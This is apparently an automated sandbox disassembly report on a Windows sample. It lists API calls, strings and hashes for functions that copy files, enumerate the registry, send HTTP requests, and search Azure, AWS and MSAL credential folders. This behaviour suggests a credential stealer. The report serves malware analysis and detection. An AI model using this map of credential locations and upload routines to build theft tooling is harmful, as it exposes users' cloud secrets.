Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

XA, xrefs: 004060CA
", xrefs: 00405E66
------, xrefs: 00405AE6
------, xrefs: 00405C5B
", xrefs: 00405D25
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405D9C

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 41dd1c3fa778c75f984447c9ba6df88760d05e8929742968a9cbcd566ae53596
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 41dd1c3fa778c75f984447c9ba6df88760d05e8929742968a9cbcd566ae53596
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 17e480843c5a5418f6267afdab590b000a7236c22bd7ee93f8a596a15c13b47d
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 17e480843c5a5418f6267afdab590b000a7236c22bd7ee93f8a596a15c13b47d
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02738E98,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: e350a5e6345efc8b700c412f099c769ed198930aa1959d5996c7bd5b2cbfbcbc
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: e350a5e6345efc8b700c412f099c769ed198930aa1959d5996c7bd5b2cbfbcbc
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0273BF08), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

\.aws\, xrefs: 0041492D
\.IdentityService\, xrefs: 004149B9
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.azure\, xrefs: 004148A1
*.*, xrefs: 00414944
Azure\.aws, xrefs: 0041493F
msal.cache, xrefs: 004149D0
Azure\.azure, xrefs: 004148B3
*.*, xrefs: 004148B8
Azure\.IdentityService, xrefs: 004149CB

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: d14012baed451d6306e9d8ef3a74db606c8f5a41717c6bf3547edc018cd5beda
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: d14012baed451d6306e9d8ef3a74db606c8f5a41717c6bf3547edc018cd5beda
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0275AC80), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0275ACA0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0275AC30,?,0275A100,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404C42
", xrefs: 00404D83
------, xrefs: 00404CB9
------, xrefs: 00404B78
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: 324cee808c7c5bb88d56758127637e65c4149cbf958fdb65c4ce58a8b7c35f31
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: 324cee808c7c5bb88d56758127637e65c4149cbf958fdb65c4ce58a8b7c35f31
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,0273C248,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
?, xrefs: 00417E1A
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4a34347e783856da12ea3335e7e3a1d727808caf9b080ddebbf1ae9208260438
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 4a34347e783856da12ea3335e7e3a1d727808caf9b080ddebbf1ae9208260438
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0275AC80), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0275A100,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406457
ERROR, xrefs: 00406519
GET, xrefs: 004063CC

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: d5d8d14c61fdb990bac62a5875c0fc809c88b920d555e001214eb9fd8b609746
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: d5d8d14c61fdb990bac62a5875c0fc809c88b920d555e001214eb9fd8b609746
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
